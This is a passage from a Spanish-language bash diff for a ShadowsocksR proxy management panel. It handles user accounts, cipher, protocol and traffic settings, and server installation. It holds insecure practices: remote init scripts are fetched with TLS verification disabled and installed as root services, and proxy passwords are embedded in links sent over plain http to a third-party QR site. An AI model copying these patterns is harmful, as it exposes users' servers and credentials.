'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}') + transfer_enable_Used_2="${transfer_enable_Used_2} TB" + fi + #echo "transfer_enable_Used_2=${transfer_enable_Used_2}" +} +urlsafe_base64(){ + date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') + echo -e "${date}" +} +ss_link_qr(){ + SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}") + SSurl="ss://${SSbase64}" + SSQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSurl}" + ss_link=" SS Link :\n ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS:\n ${Green_font_prefix}${SSQRcode}${Font_color_suffix}" +} +ssr_link_qr(){ + SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') + SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') + SSRPWDbase64=$(urlsafe_base64 "${password}") + SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}") + SSRurl="ssr://${SSRbase64}" + SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}" + ssr_link=" SSR Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}" +} +ss_ssr_determine(){ + protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` + obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` + if [[ ${protocol} = "origin" ]]; then + if [[ ${obfs} = "plain" ]]; then + ss_link_qr + ssr_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + ss_link="" + else + ss_link_qr + fi + fi + else + if [[ ${protocol_suffix} != "compatible" ]]; then + ss_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + if [[ ${obfs_suffix} = "plain" ]]; then + ss_link_qr + else + ss_link="" + fi + else + ss_link_qr + fi + fi + fi + ssr_link_qr +} +# Display configuration information +View_User(){ +clear + SSR_installation_status + List_port_user + while true + do + echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port + [[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',') + if [[ ! -z ${View_user} ]]; then + Get_User_info "${View_user_port}" + View_User_info + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +#read -p "Enter para continuar" enter +} +View_User_info(){ + ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + [[ -z "${ip}" ]] && Get_IP + ss_ssr_determine + clear + echo -e " Usuario [{user_name}] Informacion de Cuenta:" +msg -bar + echo -e " PANEL VPS-MX By @Kalix1" + + echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}" + + echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}" + + echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}" + + echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}" + + echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}" + + echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}" + + echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}" + + echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" + + echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" + + echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}" + + echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}" + + echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}" +msg -bar + echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}" +msg -bar + echo -e "${ss_link}" +msg -bar + echo -e "${ssr_link}" +msg -bar + echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix} + En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR." +msg -bar +} +#Configuracion de la informacion de configuracion +Set_config_user(){ +msg -bar + echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_user + [[ -z "${ssr_user}" ]] && ssr_user="VPS-MX" + echo && echo -e " Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo +} +Set_config_port(){ +msg -bar + while true + do + echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario " +msg -bar + stty erase '^H' && read -p "(Predeterminado: 2525):" ssr_port + [[ -z "$ssr_port" ]] && ssr_port="2525" + expr ${ssr_port} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then + echo && echo -e " Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + done +} +Set_config_password(){ +msg -bar + echo -e "\e[92m 3) Por favor ingrese una contrasena para el Usuario" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_password + [[ -z "${ssr_password}" ]] && ssr_password="VPS-MX" + echo && echo -e " contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo +} +Set_config_method(){ +msg -bar + echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m +$(msg -bar) + ${Green_font_prefix} 1.${Font_color_suffix} Ninguno + ${Green_font_prefix} 2.${Font_color_suffix} rc4 + ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5 + ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6 + ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr + ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr + ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr + ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb + ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb + ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb + ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8 + ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8 + ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8 + ${Green_font_prefix}14.${Font_color_suffix} salsa20 + ${Green_font_prefix}15.${Font_color_suffix} chacha20 + ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf + + ${Red_font_prefix}17.${Font_color_suffix} xsalsa20 + ${Red_font_prefix}18.${Font_color_suffix} xchacha20 +$(msg -bar) + ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method +msg -bar + [[ -z "${ssr_method}" ]] && ssr_method="16" + if [[ ${ssr_method} == "1" ]]; then + ssr_method="Ninguno" + elif [[ ${ssr_method} == "2" ]]; then + ssr_method="rc4" + elif [[ ${ssr_method} == "3" ]]; then + ssr_method="rc4-md5" + elif [[ ${ssr_method} == "4" ]]; then + ssr_method="rc4-md5-6" + elif [[ ${ssr_method} == "5" ]]; then + ssr_method="aes-128-ctr" + elif [[ ${ssr_method} == "6" ]]; then + ssr_method="aes-192-ctr" + elif [[ ${ssr_method} == "7" ]]; then + ssr_method="aes-256-ctr" + elif [[ ${ssr_method} == "8" ]]; then + ssr_method="aes-128-cfb" + elif [[ ${ssr_method} == "9" ]]; then + ssr_method="aes-192-cfb" + elif [[ ${ssr_method} == "10" ]]; then + ssr_method="aes-256-cfb" + elif [[ ${ssr_method} == "11" ]]; then + ssr_method="aes-128-cfb8" + elif [[ ${ssr_method} == "12" ]]; then + ssr_method="aes-192-cfb8" + elif [[ ${ssr_method} == "13" ]]; then + ssr_method="aes-256-cfb8" + elif [[ ${ssr_method} == "14" ]]; then + ssr_method="salsa20" + elif [[ ${ssr_method} == "15" ]]; then + ssr_method="chacha20" + elif [[ ${ssr_method} == "16" ]]; then + ssr_method="chacha20-ietf" + elif [[ ${ssr_method} == "17" ]]; then + ssr_method="xsalsa20" + elif [[ ${ssr_method} == "18" ]]; then + ssr_method="xchacha20" + else + ssr_method="aes-256-cfb" + fi + echo && echo -e " Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo +} +Set_config_protocol(){ +msg -bar + echo -e "\e[92m 5) Por favor, seleccione un Protocolo +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} origin + ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4 + ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5 + ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1 + ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a + ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b + + ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c + ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d + ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e + ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f +$(msg -bar) + ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno" +msg -bar + stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol +msg -bar + [[ -z "${ssr_protocol}" ]] && ssr_protocol="1" + if [[ ${ssr_protocol} == "1" ]]; then + ssr_protocol="origin" + elif [[ ${ssr_protocol} == "2" ]]; then + ssr_protocol="auth_sha1_v4" + elif [[ ${ssr_protocol} == "3" ]]; then + ssr_protocol="auth_aes128_md5" + elif [[ ${ssr_protocol} == "4" ]]; then + ssr_protocol="auth_aes128_sha1" + elif [[ ${ssr_protocol} == "5" ]]; then + ssr_protocol="auth_chain_a" + elif [[ ${ssr_protocol} == "6" ]]; then + ssr_protocol="auth_chain_b" + elif [[ ${ssr_protocol} == "7" ]]; then + ssr_protocol="auth_chain_c" + elif [[ ${ssr_protocol} == "8" ]]; then + ssr_protocol="auth_chain_d" + elif [[ ${ssr_protocol} == "9" ]]; then + ssr_protocol="auth_chain_e" + elif [[ ${ssr_protocol} == "10" ]]; then + ssr_protocol="auth_chain_f" + else + ssr_protocol="origin" + fi + echo && echo -e " Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo + if [[ ${ssr_protocol} != "origin" ]]; then + if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then + stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn + [[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y" + [[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible" + echo + fi + fi +} +Set_config_obfs(){ +msg -bar + echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} plain + ${Green_font_prefix}2.${Font_color_suffix} http_simple + ${Green_font_prefix}3.${Font_color_suffix} http_post + ${Green_font_prefix}4.${Font_color_suffix} random_head + ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth +$(msg -bar) + Si elige tls1.2_ticket_auth, entonces el cliente puede\n elegir tls1.2_ticket_fastauth!" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs + [[ -z "${ssr_obfs}" ]] && ssr_obfs="5" + if [[ ${ssr_obfs} == "1" ]]; then + ssr_obfs="plain" + elif [[ ${ssr_obfs} == "2" ]]; then + ssr_obfs="http_simple" + elif [[ ${ssr_obfs} == "3" ]]; then + ssr_obfs="http_post" + elif [[ ${ssr_obfs} == "4" ]]; then + ssr_obfs="random_head" + elif [[ ${ssr_obfs} == "5" ]]; then + ssr_obfs="tls1.2_ticket_auth" + else + ssr_obfs="tls1.2_ticket_auth" + fi + echo && echo -e " obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo + msg -bar + if [[ ${ssr_obfs} != "plain" ]]; then + stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn + [[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y" + [[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible" + fi +} +Set_config_protocol_param(){ +msg -bar + while true + do + echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}" +msg -bar + echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param + [[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break + expr ${ssr_protocol_param} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then + echo && echo -e " Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + done +} +Set_config_speed_limit_per_con(){ +msg -bar + while true + do + echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)" +msg -bar + stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con +msg -bar + [[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break + expr ${ssr_speed_limit_per_con} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then + echo && echo -e " Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_speed_limit_per_user(){ +msg -bar + while true + do + echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)" +msg -bar + echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user + [[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break + expr ${ssr_speed_limit_per_user} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then + echo && echo -e " Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_transfer(){ +msg -bar + while true + do + echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n (en GB, 1-838868 GB)" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer + [[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break + expr ${ssr_transfer} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then + echo && echo -e " Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + done +} +Set_config_forbid(){ +msg -bar + echo "PROIBIR PUERTOS" +msg -bar + echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente." +msg -bar + stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid + [[ -z "${ssr_forbid}" ]] && ssr_forbid="" + echo && echo -e " Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo +} +Set_config_enable(){ + user_total=$(expr ${user_total} - 1) + for((integer = 0; integer <= ${user_total}; integer++)) + do + echo -e "integer=${integer}" + port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}") + echo -e "port_jq=${port_jq}" + if [[ "${ssr_port}" == "${port_jq}" ]]; then + enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}") + echo -e "enable=${enable}" + [[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1 + ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}') + echo -e "ssr_port_num=${ssr_port_num}" + [[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1 + ssr_enable_num=$(expr ${ssr_port_num} - 5) + echo -e "ssr_enable_num=${ssr_enable_num}" + break + fi + done + if [[ "${enable}" == "1" ]]; then + echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="0" + else + echo -e "Cancelado...\n$(msg -bar)" && exit 0 + fi + elif [[ "${enable}" == "0" ]]; then + echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="1" + else + echo "Cancelar ..." && exit 0 + fi + else + echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1 + fi +} +Set_user_api_server_pub_addr(){ + addr=$1 + if [[ "${addr}" == "Modify" ]]; then + server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + if [[ -z ${server_pub_addr} ]]; then + echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1 + else + echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}" + fi + fi + echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr + if [[ -z "${ssr_server_pub_addr}" ]]; then + Get_IP + if [[ ${ip} == "VPS_IP" ]]; then + while true + do + stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr + if [[ -z "$ssr_server_pub_addr" ]]; then + echo -e "${Error}No puede estar vacio!" + else + break + fi + done + else + ssr_server_pub_addr="${ip}" + fi + fi + echo && msg -bar && echo -e " IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo +} +Set_config_all(){ + lal=$1 + if [[ "${lal}" == "Modify" ]]; then + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + else + Set_config_user + Set_config_port + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + fi +} +#Modificar la informacin de configuracin +Modify_config_password(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_method(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion ms reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_obfs(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol_param(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Parametros de negociacin del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_con(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_user(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Usuario Puerto la modificacin del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_connect_verbose_info(){ + sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file} +} +Modify_config_transfer(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_forbid(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_enable(){ + sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file} +} +Modify_user_api_server_pub_addr(){ + sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file} +} +Modify_config_all(){ + Modify_config_password + Modify_config_method + Modify_config_protocol + Modify_config_obfs + Modify_config_protocol_param + Modify_config_speed_limit_per_con + Modify_config_speed_limit_per_user + Modify_config_transfer + Modify_config_forbid +} +Check_python(){ + python_ver=`python -h` + if [[ -z ${python_ver} ]]; then + echo -e "${Info} No instalo Python, comience a instalar ..." + if [[ ${release} == "centos" ]]; then + yum install -y python + else + apt-get install -y python + fi + fi +} +Centos_yum(){ + yum update + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + yum install -y vim unzip crond net-tools git + else + yum install -y vim unzip crond git + fi +} +Debian_apt(){ + apt-get update + apt-get install -y vim unzip cron git net-tools +} +#Descargar ShadowsocksR +Download_SSR(){ + cd "/usr/local" + # wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip" + #git config --global http.sslVerify false + git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1 + # [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # unzip "manyuser.zip" + # [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresin del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" + # [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 + # rm -rf manyuser.zip + cd "shadowsocksr" + cp "${ssr_folder}/config.json" "${config_user_file}" + cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json" + cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}" + [[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1 + sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file} + server_pub_addr="127.0.0.1" + Modify_user_api_server_pub_addr + #sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file} + sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}" + echo -e "${Info} Descarga del servidor ShadowsocksR completa!" +} +Service_SSR(){ + if [[ ${release} = "centos" ]]; then + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + chkconfig --add ssrmu + chkconfig ssrmu on + else + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracin de servicio de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + update-rc.d -f ssrmu defaults + fi + echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!" +} +#Instalar el analizador JQ +JQ_install(){ + if [[ ! -e ${jq_file} ]]; then + cd "${ssr_folder}" + if [[ ${bit} = 